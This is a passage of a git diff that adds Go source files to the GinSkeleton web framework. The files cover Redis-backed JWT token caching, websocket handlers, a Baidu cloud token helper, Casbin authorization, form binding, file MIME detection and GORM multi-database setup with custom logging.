+// DestroyToken 销毁token,基本用不到,因为一个网站的用户退出都是直接关闭浏览器窗口,极少有户会点击“注销、退出”等按钮,销毁token其实无多大意义 +func (u *userToken) DestroyToken() { + +} diff --git a/GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go b/GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go new file mode 100644 index 0000000..19c06bf --- /dev/null +++ b/GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go @@ -0,0 +1,97 @@ +package token_cache_redis + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/utils/md5_encrypt" + "goskeleton/app/utils/redis_factory" + "strconv" + "strings" + "time" +) + +func CreateUsersTokenCacheFactory(userId int64) *userTokenCacheRedis { + redCli := redis_factory.GetOneRedisClient() + if redCli == nil { + return nil + } + return &userTokenCacheRedis{redisClient: redCli, userTokenKey: "token_userid_" + strconv.FormatInt(userId, 10)} +} + +type userTokenCacheRedis struct { + redisClient *redis_factory.RedisClient + userTokenKey string +} + +// SetTokenCache 设置缓存 +func (u *userTokenCacheRedis) SetTokenCache(tokenExpire int64, token string) bool { + // 存储用户token时转为MD5,下一步比较的时候可以更加快速地比较是否一致 + if _, err := u.redisClient.Int(u.redisClient.Execute("zAdd", u.userTokenKey, tokenExpire, md5_encrypt.MD5(token))); err == nil { + return true + } else { + variable.ZapLog.Error("缓存用户token到redis出错", zap.Error(err)) + } + return false +} + +// DelOverMaxOnlineCache 删除缓存,删除超过系统允许最大在线数量之外的用户 +func (u *userTokenCacheRedis) DelOverMaxOnlineCache() bool { + // 首先先删除过期的token + _, _ = u.redisClient.Execute("zRemRangeByScore", u.userTokenKey, 0, time.Now().Unix()-1) + + onlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + alreadyCacheNum, err := u.redisClient.Int(u.redisClient.Execute("zCard", u.userTokenKey)) + if err == nil && alreadyCacheNum > onlineUsers { + // 删除超过最大在线数量之外的token + if alreadyCacheNum, err = u.redisClient.Int(u.redisClient.Execute("zRemRangeByRank", u.userTokenKey, 0, alreadyCacheNum-onlineUsers-1)); err == nil { + return true + } else { + variable.ZapLog.Error("删除超过系统允许之外的token出错:", zap.Error(err)) + } + } + return false +} + +// TokenCacheIsExists 查询token是否在redis存在 +func (u *userTokenCacheRedis) TokenCacheIsExists(token string) (exists bool) { + token = md5_encrypt.MD5(token) + curTimestamp := time.Now().Unix() + onlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + if strSlice, err := u.redisClient.Strings(u.redisClient.Execute("zRevRange", u.userTokenKey, 0, onlineUsers-1)); err == nil { + for _, val := range strSlice { + if score, err := u.redisClient.Int64(u.redisClient.Execute("zScore", u.userTokenKey, token)); err == nil { + if score > curTimestamp { + if strings.Compare(val, token) == 0 { + exists = true + break + } + } + } + } + } else { + variable.ZapLog.Error("获取用户在redis缓存的 token 值出错:", zap.Error(err)) + } + return +} + +// SetUserTokenExpire 设置用户的 usertoken 键过期时间 +// 参数: 时间戳 +func (u *userTokenCacheRedis) SetUserTokenExpire(ts int64) bool { + if _, err := u.redisClient.Execute("expireAt", u.userTokenKey, ts); err == nil { + return true + } + return false +} + +// ClearUserToken 清除某个用户的全部缓存,当用户更改密码或者用户被禁用则删除该用户的全部缓存 +func (u *userTokenCacheRedis) ClearUserToken() bool { + if _, err := u.redisClient.Execute("del", u.userTokenKey); err == nil { + return true + } + return false +} + +// ReleaseRedisConn 释放redis +func (u *userTokenCacheRedis) ReleaseRedisConn() { + u.redisClient.ReleaseOneRedisClient() +} diff --git a/GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go b/GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go new file mode 100644 index 0000000..c2eda2d --- /dev/null +++ b/GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go @@ -0,0 +1,9 @@ +package on_open_success + +// ClientMoreParams 为客户端成功上线后设置更多的参数 +// ws 客户端成功上线以后,可以通过客户端携带的唯一参数,在数据库查询更多的其他关键信息,设置在 *Client 结构体上 +// 这样便于在后续获取在线客户端时快速获取其他关键信息,例如:进行消息广播时记录日志可能需要更多字段信息等 +type ClientMoreParams struct { + UserParams1 string `json:"user_params_1"` // 字段名称以及类型由 开发者自己定义 + UserParams2 string `json:"user_params_2"` +} diff --git a/GinSkeleton/app/service/websocket/ws.go b/GinSkeleton/app/service/websocket/ws.go new file mode 100644 index 0000000..7e1117d --- /dev/null +++ b/GinSkeleton/app/service/websocket/ws.go @@ -0,0 +1,91 @@ +package websocket + +import ( + "fmt" + "github.com/gin-gonic/gin" + "github.com/gorilla/websocket" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/websocket/core" +) + +/** +websocket模块相关事件执行顺序: +1.onOpen +2.OnMessage +3.OnError +4.OnClose +*/ + +type Ws struct { + WsClient *core.Client +} + +// OnOpen 事件函数 +func (w *Ws) OnOpen(context *gin.Context) (*Ws, bool) { + if client, ok := (&core.Client{}).OnOpen(context); ok { + + token := context.GetString(consts.ValidatorPrefix + "token") + variable.ZapLog.Info("获取到的客户端上线时携带的唯一标记值:", zap.String("token", token)) + + // 成功上线以后,开发者可以基于客户端上线时携带的唯一参数(这里用token键表示) + // 在数据库查询更多的其他字段信息,直接追加在 Client 结构体上,方便后续使用 + //client.ClientMoreParams.UserParams1 = token + //client.ClientMoreParams.UserParams2 = "456" + //fmt.Printf("最终每一个客户端(client) 已有的参数:%+v\n", client) + + w.WsClient = client + go w.WsClient.Heartbeat() // 一旦握手+协议升级成功,就为每一个连接开启一个自动化的隐式心跳检测包 + return w, true + } else { + return nil, false + } +} + +// OnMessage 处理业务消息 +func (w *Ws) OnMessage(context *gin.Context) { + go w.WsClient.ReadPump(func(messageType int, receivedData []byte) { + //参数说明 + //messageType 消息类型,1=文本 + //receivedData 服务器接收到客户端(例如js客户端)发来的的数据,[]byte 格式 + + tempMsg := "服务器已经收到了你的消息==>" + string(receivedData) + // 回复客户端已经收到消息; + if err := w.WsClient.SendMessage(messageType, tempMsg); err != nil { + variable.ZapLog.Error("消息发送出现错误", zap.Error(err)) + } + + }, w.OnError, w.OnClose) +} + +// OnError 客户端与服务端在消息交互过程中发生错误回调函数 +func (w *Ws) OnError(err error) { + w.WsClient.State = 0 // 发生错误,状态设置为0, 心跳检测协程则自动退出 + variable.ZapLog.Error("远端掉线、卡死、刷新浏览器等会触发该错误:", zap.Error(err)) + //fmt.Printf("远端掉线、卡死、刷新浏览器等会触发该错误: %v\n", err.Error()) +} + +// OnClose 客户端关闭回调,发生onError回调以后会继续回调该函数 +func (w *Ws) OnClose() { + + w.WsClient.Hub.UnRegister <- w.WsClient // 向hub管道投递一条注销消息,由hub中心负责关闭连接、删除在线数据 +} + +// GetOnlineClients 获取在线的全部客户端 +func (w *Ws) GetOnlineClients() { + + fmt.Printf("在线客户端数量:%d\n", len(w.WsClient.Hub.Clients)) +} + +// BroadcastMsg (每一个客户端都有能力)向全部在线客户端广播消息 +func (w *Ws) BroadcastMsg(sendMsg string) { + for onlineClient := range w.WsClient.Hub.Clients { + + //获取每一个在线的客户端,向远端发送消息 + if err := onlineClient.SendMessage(websocket.TextMessage, sendMsg); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketWriteMgsFail, zap.Error(err)) + } + } +} diff --git a/GinSkeleton/app/utils/baidubce/baidubce.go b/GinSkeleton/app/utils/baidubce/baidubce.go new file mode 100644 index 0000000..6fc00c1 --- /dev/null +++ b/GinSkeleton/app/utils/baidubce/baidubce.go @@ -0,0 +1,79 @@ +package baidubce + +import ( + "encoding/json" + "errors" + "fmt" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "io" + "net/http" + "strings" +) + +/** + * 使用 AK,SK 生成鉴权签名(Access Token) + * @return string 鉴权签名信息(Access Token) + */ +func GetAccessToken() string { + url := "https://aip.baidubce.com/oauth/2.0/token" + API_KEY := variable.ConfigYml.GetString("BaiduCE.ApiKey") + SECRET_KEY := variable.ConfigYml.GetString("BaiduCE.SecretKey") + postData := fmt.Sprintf("grant_type=client_credentials&client_id=%s&client_secret=%s", API_KEY, SECRET_KEY) + resp, err := http.Post(url, "application/x-www-form-urlencoded", strings.NewReader(postData)) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEGetTokenFail + err.Error()) + return "" + } + defer resp.Body.Close() + body, err := io.ReadAll(resp.Body) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEGetTokenFail + err.Error()) + return "" + } + accessTokenObj := map[string]any{} + _ = json.Unmarshal([]byte(body), &accessTokenObj) + return accessTokenObj["access_token"].(string) +} + +func DecodeResBody(res *http.Response, flag string) (mbody map[string]interface{}, err error) { + body, err := io.ReadAll(res.Body) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEPostFail + flag + ", " + err.Error()) + return nil, err + } + // json 格式的 body + var jbody interface{} + fmt.Println(string(body)) + err = json.Unmarshal(body, &jbody) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEPostFail + flag + ", " + err.Error()) + return nil, err + } + mbody = jbody.(map[string]interface{}) + + var err_str string + switch flag { + case "vop": + err_str1, _ := mbody["err_msg"].(string) + if err_str1 == "success." { + err_str = "" + } else { + err_str = err_str1 + } + default: + err_str2, _ := mbody["error_msg"].(string) + if err_str2 == "" { + err_str = "" + } else { + err_str = err_str2 + } + } + + if err_str != "" { + variable.ZapLog.Error(my_errors.ErrorBaiduCEPostFail + flag + ", " + err_str) + err = errors.New(err_str) + return nil, err + } + return mbody, err +} diff --git a/GinSkeleton/app/utils/casbin_v2/casbin_v2.go b/GinSkeleton/app/utils/casbin_v2/casbin_v2.go new file mode 100644 index 0000000..c5ae29a --- /dev/null +++ b/GinSkeleton/app/utils/casbin_v2/casbin_v2.go @@ -0,0 +1,58 @@ +package casbin_v2 + +import ( + "errors" + "github.com/casbin/casbin/v2" + "github.com/casbin/casbin/v2/model" + gormadapter "github.com/casbin/gorm-adapter/v3" + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" + "time" +) + +//创建 casbin Enforcer(执行器) +func InitCasbinEnforcer() (*casbin.SyncedEnforcer, error) { + var tmpDbConn *gorm.DB + var Enforcer *casbin.SyncedEnforcer + switch strings.ToLower(variable.ConfigGormv2Yml.GetString("Gormv2.UseDbType")) { + case "mysql": + if variable.GormDbMysql == nil { + return nil, errors.New(my_errors.ErrorCasbinCanNotUseDbPtr) + } + tmpDbConn = variable.GormDbMysql + case "sqlserver", "mssql": + if variable.GormDbSqlserver == nil { + return nil, errors.New(my_errors.ErrorCasbinCanNotUseDbPtr) + } + tmpDbConn = variable.GormDbSqlserver + case "postgre", "postgresql", "postgres": + if variable.GormDbPostgreSql == nil { + return nil, errors.New(my_errors.ErrorCasbinCanNotUseDbPtr) + } + tmpDbConn = variable.GormDbPostgreSql + default: + } + + prefix := variable.ConfigYml.GetString("Casbin.TablePrefix") + tbName := variable.ConfigYml.GetString("Casbin.TableName") + + a, err := gormadapter.NewAdapterByDBUseTableName(tmpDbConn, prefix, tbName) + if err != nil { + return nil, errors.New(my_errors.ErrorCasbinCreateAdaptFail) + } + modelConfig := variable.ConfigYml.GetString("Casbin.ModelConfig") + + if m, err := model.NewModelFromString(modelConfig); err != nil { + return nil, errors.New(my_errors.ErrorCasbinNewModelFromStringFail + err.Error()) + } else { + if Enforcer, err = casbin.NewSyncedEnforcer(m, a); err != nil { + return nil, errors.New(my_errors.ErrorCasbinCreateEnforcerFail) + } + _ = Enforcer.LoadPolicy() + AutoLoadSeconds := variable.ConfigYml.GetDuration("Casbin.AutoLoadPolicySeconds") + Enforcer.StartAutoLoadPolicy(time.Second * AutoLoadSeconds) + return Enforcer, nil + } +} diff --git a/GinSkeleton/app/utils/cur_userinfo/cur_user.go b/GinSkeleton/app/utils/cur_userinfo/cur_user.go new file mode 100644 index 0000000..10d1349 --- /dev/null +++ b/GinSkeleton/app/utils/cur_userinfo/cur_user.go @@ -0,0 +1,15 @@ +package cur_userinfo + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/variable" + "goskeleton/app/http/middleware/my_jwt" +) + +// GetCurrentUserId 获取当前用户的id +// @context 请求上下文 +func GetCurrentUserId(context *gin.Context) (int64, bool) { + tokenKey := variable.ConfigYml.GetString("Token.BindContextKeyName") + currentUser, exist := context.MustGet(tokenKey).(my_jwt.CustomClaims) + return currentUser.UserId, exist +} diff --git a/GinSkeleton/app/utils/data_bind/formdata_to_model.go b/GinSkeleton/app/utils/data_bind/formdata_to_model.go new file mode 100644 index 0000000..e26cec7 --- /dev/null +++ b/GinSkeleton/app/utils/data_bind/formdata_to_model.go @@ -0,0 +1,77 @@ +package data_bind + +import ( + "errors" + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "reflect" +) + +const ( + modelStructMustPtr = "modelStruct 必须传递一个指针" +) + +// 绑定form表单验证器已经验证完成的参数到 model 结构体, +// mode 结构体支持匿名嵌套 +// 数据绑定原则: +// 1.表单参数验证器中的结构体字段 json 标签必须和 model 结构体定义的 json 标签一致 +// 2.model 中的数据类型与表单参数验证器数据类型保持一致: +// 例如:model 中的 user_name 是 string 那么表单参数验证器中的 user_name 也必须是 string,bool 类型同理,日期时间字段在 ginskeleton 中请按照 string 处理 +// 3.但是 model 中的字段如果是数字类型(int、int8、int16、int64、float32、float64等)都可以绑定表单参数验证中的 float64 类型,程序会自动将原始的 float64 转换为 model 的定义的数字类型 + +func ShouldBindFormDataToModel(c *gin.Context, modelStruct interface{}) error { + mTypeOf := reflect.TypeOf(modelStruct) + if mTypeOf.Kind() != reflect.Ptr { + return errors.New(modelStructMustPtr) + } + mValueOf := reflect.ValueOf(modelStruct) + + //分析 modelStruct 字段 + mValueOfEle := mValueOf.Elem() + mtf := mValueOf.Elem().Type() + fieldNum := mtf.NumField() + for i := 0; i < fieldNum; i++ { + if !mtf.Field(i).Anonymous && mtf.Field(i).Type.Kind() != reflect.Struct { + fieldSetValue(c, mValueOfEle, mtf, i) + } else if mtf.Field(i).Type.Kind() == reflect.Struct { + //处理结构体(有名+匿名) + mValueOfEle.Field(i).Set(analysisAnonymousStruct(c, mValueOfEle.Field(i))) + } + } + return nil +} + +// 分析匿名结构体,并且获取匿名结构体的值 +func analysisAnonymousStruct(c *gin.Context, value reflect.Value) reflect.Value { + + typeOf := value.Type() + fieldNum := typeOf.NumField() + newStruct := reflect.New(typeOf) + newStructElem := newStruct.Elem() + for i := 0; i < fieldNum; i++ { + fieldSetValue(c, newStructElem, typeOf, i) + } + return newStructElem +} + +// 为结构体字段赋值 +func fieldSetValue(c *gin.Context, valueOf reflect.Value, typeOf reflect.Type, colIndex int) { + relaKey := typeOf.Field(colIndex).Tag.Get("json") + if relaKey != "-" { + relaKey = consts.ValidatorPrefix + typeOf.Field(colIndex).Tag.Get("json") + switch typeOf.Field(colIndex).Type.Kind() { + case reflect.Int, reflect.Int16, reflect.Int32, reflect.Int64: + valueOf.Field(colIndex).SetInt(int64(c.GetFloat64(relaKey))) + case reflect.Float32, reflect.Float64: + valueOf.Field(colIndex).SetFloat(c.GetFloat64(relaKey)) + case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: + valueOf.Field(colIndex).SetUint(uint64(c.GetFloat64(relaKey))) + case reflect.String: + valueOf.Field(colIndex).SetString(c.GetString(relaKey)) + case reflect.Bool: + valueOf.Field(colIndex).SetBool(c.GetBool(relaKey)) + default: + // model 如果有日期时间字段,请统一设置为字符串即可 + } + } +} diff --git a/GinSkeleton/app/utils/files/baseInfo.go b/GinSkeleton/app/utils/files/baseInfo.go new file mode 100644 index 0000000..749669d --- /dev/null +++ b/GinSkeleton/app/utils/files/baseInfo.go @@ -0,0 +1,59 @@ +package files + +import ( + "encoding/base64" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "mime/multipart" + "net/http" + "os" +) + +// 返回值说明: +// 7z、exe、doc 类型会返回 application/octet-stream 未知的文件类型 +// jpg => image/jpeg +// png => image/png +// ico => image/x-icon +// bmp => image/bmp +// xlsx、docx 、zip => application/zip +// tar.gz => application/x-gzip +// txt、json、log等文本文件 => text/plain; charset=utf-8 备注:就算txt是gbk、ansi编码,也会识别为utf-8 + +// 通过文件名获取文件mime信息 +func GetFilesMimeByFileName(filepath string) string { + f, err := os.Open(filepath) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorsFilesUploadOpenFail + err.Error()) + } + defer f.Close() + + // 只需要前 32 个字节就可以了 + buffer := make([]byte, 32) + if _, err := f.Read(buffer); err != nil { + variable.ZapLog.Error(my_errors.ErrorsFilesUploadReadFail + err.Error()) + return "" + } + + return http.DetectContentType(buffer) +} + +// 通过文件指针获取文件mime信息 +func GetFilesMimeByFp(fp multipart.File) string { + + buffer := make([]byte, 32) + if _, err := fp.Read(buffer); err != nil { + variable.ZapLog.Error(my_errors.ErrorsFilesUploadReadFail + err.Error()) + return "" + } + + return http.DetectContentType(buffer) +} + +// 读取本地文件,进行Base64编码 +func GetFileBase64(filePath string) (int, string, error) { + data, err := os.ReadFile(filePath) + if err != nil { + return 0, "", err + } + return len(data), base64.StdEncoding.EncodeToString(data), nil +} diff --git a/GinSkeleton/app/utils/gin_release/gin_release_router.go b/GinSkeleton/app/utils/gin_release/gin_release_router.go new file mode 100644 index 0000000..8290395 --- /dev/null +++ b/GinSkeleton/app/utils/gin_release/gin_release_router.go @@ -0,0 +1,46 @@ +package gin_release + +import ( + "errors" + "fmt" + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/utils/response" + "io/ioutil" +) + +// ReleaseRouter 根据 gin 路由包官方的建议,gin 路由引擎如果在生产模式使用,官方建议设置为 release 模式 +// 官方原版提示说明:[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. +// 这里我们将按照官方指导进行生产模式精细化处理 +func ReleaseRouter() *gin.Engine { + // 切换到生产模式禁用 gin 输出接口访问日志,经过并发测试验证,可以提升5%的性能 + gin.SetMode(gin.ReleaseMode) + gin.DefaultWriter = ioutil.Discard + + engine := gin.New() + // 载入gin的中间件,关键是第二个中间件,我们对它进行了自定义重写,将可能的 panic 异常等,统一使用 zaplog 接管,保证全局日志打印统一 + engine.Use(gin.Logger(), CustomRecovery()) + return engine +} + +// CustomRecovery 自定义错误(panic等)拦截中间件、对可能发生的错误进行拦截、统一记录 +func CustomRecovery() gin.HandlerFunc { + DefaultErrorWriter := &PanicExceptionRecord{} + return gin.RecoveryWithWriter(DefaultErrorWriter, func(c *gin.Context, err interface{}) { + // 这里针对发生的panic等异常进行统一响应即可 + // 这里的 err 数据类型为 :runtime.boundsError ,需要转为普通数据类型才可以输出 + response.ErrorSystem(c, "", fmt.Sprintf("%s", err)) + }) +} + +// PanicExceptionRecord panic等异常记录 +type PanicExceptionRecord struct{} + +func (p *PanicExceptionRecord) Write(b []byte) (n int, err error) { + errStr := string(b) + err = errors.New(errStr) + variable.ZapLog.Error(consts.ServerOccurredErrorMsg, zap.String("errStrace", errStr)) + return len(errStr), err +} diff --git a/GinSkeleton/app/utils/gorm_v2/client.go b/GinSkeleton/app/utils/gorm_v2/client.go new file mode 100644 index 0000000..0598545 --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/client.go @@ -0,0 +1,190 @@ +package gorm_v2 + +import ( + "errors" + "fmt" + "go.uber.org/zap" + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" + "gorm.io/driver/sqlserver" + "gorm.io/gorm" + gormLog "gorm.io/gorm/logger" + "gorm.io/plugin/dbresolver" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" + "time" +) + +// 获取一个 mysql 客户端 +func GetOneMysqlClient() (*gorm.DB, error) { + sqlType := "Mysql" + readDbIsOpen := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".IsOpenReadDb") + return GetSqlDriver(sqlType, readDbIsOpen) +} + +// 获取一个 sqlserver 客户端 +func GetOneSqlserverClient() (*gorm.DB, error) { + sqlType := "SqlServer" + readDbIsOpen := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".IsOpenReadDb") + return GetSqlDriver(sqlType, readDbIsOpen) +} + +// 获取一个 postgresql 客户端 +func GetOnePostgreSqlClient() (*gorm.DB, error) { + sqlType := "Postgresql" + readDbIsOpen := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".IsOpenReadDb") + return GetSqlDriver(sqlType, readDbIsOpen) +} + +// 获取数据库驱动, 可以通过options 动态参数连接任意多个数据库 +func GetSqlDriver(sqlType string, readDbIsOpen int, dbConf ...ConfigParams) (*gorm.DB, error) { + + var dbDialector gorm.Dialector + if val, err := getDbDialector(sqlType, "Write", dbConf...); err != nil { + variable.ZapLog.Error(my_errors.ErrorsDialectorDbInitFail+sqlType, zap.Error(err)) + } else { + dbDialector = val + } + gormDb, err := gorm.Open(dbDialector, &gorm.Config{ + SkipDefaultTransaction: true, + PrepareStmt: true, + Logger: redefineLog(sqlType), //拦截、接管 gorm v2 自带日志 + }) + if err != nil { + //gorm 数据库驱动初始化失败 + return nil, err + } + + // 如果开启了读写分离,配置读数据库(resource、read、replicas) + // 读写分离配置只 + if readDbIsOpen == 1 { + if val, err := getDbDialector(sqlType, "Read", dbConf...); err != nil { + variable.ZapLog.Error(my_errors.ErrorsDialectorDbInitFail+sqlType, zap.Error(err)) + } else { + dbDialector = val + } + resolverConf := dbresolver.Config{ + Replicas: []gorm.Dialector{dbDialector}, // 读 操作库,查询类 + Policy: dbresolver.RandomPolicy{}, // sources/replicas 负载均衡策略适用于 + } + err = gormDb.Use(dbresolver.Register(resolverConf).SetConnMaxIdleTime(time.Second * 30). + SetConnMaxLifetime(variable.ConfigGormv2Yml.GetDuration("Gormv2."+sqlType+".Read.SetConnMaxLifetime") * time.Second). + SetMaxIdleConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Read.SetMaxIdleConns")). + SetMaxOpenConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Read.SetMaxOpenConns"))) + if err != nil { + return nil, err + } + } + + // 查询没有数据,屏蔽 gorm v2 包中会爆出的错误 + // https://github.com/go-gorm/gorm/issues/3789 此 issue 所反映的问题就是我们本次解决掉的 + _ = gormDb.Callback().Query().Before("gorm:query").Register("disable_raise_record_not_found", MaskNotDataError) + + // https://github.com/go-gorm/gorm/issues/4838 + _ = gormDb.Callback().Create().Before("gorm:before_create").Register("CreateBeforeHook", CreateBeforeHook) + // 为了完美支持gorm的一系列回调函数 + _ = gormDb.Callback().Update().Before("gorm:before_update").Register("UpdateBeforeHook", UpdateBeforeHook) + + // 为主连接设置连接池(43行返回的数据库驱动指针) + if rawDb, err := gormDb.DB(); err != nil { + return nil, err + } else { + rawDb.SetConnMaxIdleTime(time.Second * 30) + rawDb.SetConnMaxLifetime(variable.ConfigGormv2Yml.GetDuration("Gormv2."+sqlType+".Write.SetConnMaxLifetime") * time.Second) + rawDb.SetMaxIdleConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Write.SetMaxIdleConns")) + rawDb.SetMaxOpenConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Write.SetMaxOpenConns")) + // 全局sql的debug配置 + if variable.ConfigGormv2Yml.GetBool("Gormv2.SqlDebug") { + return gormDb.Debug(), nil + } else { + return gormDb, nil + } + } +} + +// 获取一个数据库方言(Dialector),通俗的说就是根据不同的连接参数,获取具体的一类数据库的连接指针 +func getDbDialector(sqlType, readWrite string, dbConf ...ConfigParams) (gorm.Dialector, error) { + var dbDialector gorm.Dialector + dsn := getDsn(sqlType, readWrite, dbConf...) + switch strings.ToLower(sqlType) { + case "mysql": + dbDialector = mysql.Open(dsn) + case "sqlserver", "mssql": + dbDialector = sqlserver.Open(dsn) + case "postgres", "postgresql", "postgre": + dbDialector = postgres.Open(dsn) + default: + return nil, errors.New(my_errors.ErrorsDbDriverNotExists + sqlType) + } + return dbDialector, nil +} + +// 根据配置参数生成数据库驱动 dsn +func getDsn(sqlType, readWrite string, dbConf ...ConfigParams) string { + Host := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".Host") + DataBase := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".DataBase") + Port := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + "." + readWrite + ".Port") + User := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".User") + Pass := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".Pass") + Charset := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".Charset") + + if len(dbConf) > 0 { + if strings.ToLower(readWrite) == "write" { + if len(dbConf[0].Write.Host) > 0 { + Host = dbConf[0].Write.Host + } + if len(dbConf[0].Write.DataBase) > 0 { + DataBase = dbConf[0].Write.DataBase + } + if dbConf[0].Write.Port > 0 { + Port = dbConf[0].Write.Port + } + if len(dbConf[0].Write.User) > 0 { + User = dbConf[0].Write.User + } + if len(dbConf[0].Write.Pass) > 0 { + Pass = dbConf[0].Write.Pass + } + if len(dbConf[0].Write.Charset) > 0 { + Charset = dbConf[0].Write.Charset + } + } else { + if len(dbConf[0].Read.Host) > 0 { + Host = dbConf[0].Read.Host + } + if len(dbConf[0].Read.DataBase) > 0 { + DataBase = dbConf[0].Read.DataBase + } + if dbConf[0].Read.Port > 0 { + Port = dbConf[0].Read.Port + } + if len(dbConf[0].Read.User) > 0 { + User = dbConf[0].Read.User + } + if len(dbConf[0].Read.Pass) > 0 { + Pass = dbConf[0].Read.Pass + } + if len(dbConf[0].Read.Charset) > 0 { + Charset = dbConf[0].Read.Charset + } + } + } + + switch strings.ToLower(sqlType) { + case "mysql": + return fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=%s&parseTime=false&loc=Local", User, Pass, Host, Port, DataBase, Charset) + case "sqlserver", "mssql": + return fmt.Sprintf("server=%s;port=%d;database=%s;user id=%s;password=%s;encrypt=disable", Host, Port, DataBase, User, Pass) + case "postgresql", "postgre", "postgres": + return fmt.Sprintf("host=%s port=%d dbname=%s user=%s password=%s sslmode=disable TimeZone=Asia/Shanghai", Host, Port, DataBase, User, Pass) + } + return "" +} + +// 创建自定义日志模块,对 gorm 日志进行拦截、 +func redefineLog(sqlType string) gormLog.Interface { + return createCustomGormLog(sqlType, + SetInfoStrFormat("[info] %s\n"), SetWarnStrFormat("[warn] %s\n"), SetErrStrFormat("[error] %s\n"), + SetTraceStrFormat("[traceStr] %s [%.3fms] [rows:%v] %s\n"), SetTracWarnStrFormat("[traceWarn] %s %s [%.3fms] [rows:%v] %s\n"), SetTracErrStrFormat("[traceErr] %s %s [%.3fms] [rows:%v] %s\n")) +} diff --git a/GinSkeleton/app/utils/gorm_v2/config_params.go b/GinSkeleton/app/utils/gorm_v2/config_params.go new file mode 100644 index 0000000..4621f14 --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/config_params.go @@ -0,0 +1,19 @@ +package gorm_v2 + +// 数据库参数配置,结构体 +// 用于解决复杂的业务场景连接到多台服务器部署的 mysql、sqlserver、postgresql 数据库 +// 具体用法参见常用开发模块:多源数据库的操作 + +type ConfigParams struct { + Write ConfigParamsDetail + Read ConfigParamsDetail +} +type ConfigParamsDetail struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string +} diff --git a/GinSkeleton/app/utils/gorm_v2/custom_log.go b/GinSkeleton/app/utils/gorm_v2/custom_log.go new file mode 100644 index 0000000..335a7b7 --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/custom_log.go @@ -0,0 +1,174 @@ +package gorm_v2 + +import ( + "context" + "errors" + "fmt" + "go.uber.org/zap" + gormLog "gorm.io/gorm/logger" + "gorm.io/gorm/utils" + "goskeleton/app/global/variable" + "strings" + "time" +) + +// 自定义日志格式, 对 gorm 自带日志进行拦截重写 +func createCustomGormLog(sqlType string, options ...Options) gormLog.Interface { + var ( + infoStr = "%s\n[info] " + warnStr = "%s\n[warn] " + errStr = "%s\n[error] " + traceStr = "%s\n[%.3fms] [rows:%v] %s" + traceWarnStr = "%s %s\n[%.3fms] [rows:%v] %s" + traceErrStr = "%s %s\n[%.3fms] [rows:%v] %s" + ) + logConf := gormLog.Config{ + SlowThreshold: time.Second * variable.ConfigGormv2Yml.GetDuration("Gormv2."+sqlType+".SlowThreshold"), + LogLevel: gormLog.Warn, + Colorful: false, + } + log := &logger{ + Writer: logOutPut{}, + Config: logConf, + infoStr: infoStr, + warnStr: warnStr, + errStr: errStr, + traceStr: traceStr, + traceWarnStr: traceWarnStr, + traceErrStr: traceErrStr, + } + for _, val := range options { + val.apply(log) + } + return log +} + +type logOutPut struct{} + +func (l logOutPut) Printf(strFormat string, args ...interface{}) { + logRes := fmt.Sprintf(strFormat, args...) + logFlag := "gorm_v2 日志:" + detailFlag := "详情:" + if strings.HasPrefix(strFormat, "[info]") || strings.HasPrefix(strFormat, "[traceStr]") { + variable.ZapLog.Info(logFlag, zap.String(detailFlag, logRes)) + } else if strings.HasPrefix(strFormat, "[error]") || strings.HasPrefix(strFormat, "[traceErr]") { + variable.ZapLog.Error(logFlag, zap.String(detailFlag, logRes)) + } else if strings.HasPrefix(strFormat, "[warn]") || strings.HasPrefix(strFormat, "[traceWarn]") { + variable.ZapLog.Warn(logFlag, zap.String(detailFlag, logRes)) + } + +} + +// 尝试从外部重写内部相关的格式化变量 +type Options interface { + apply(*logger) +} +type 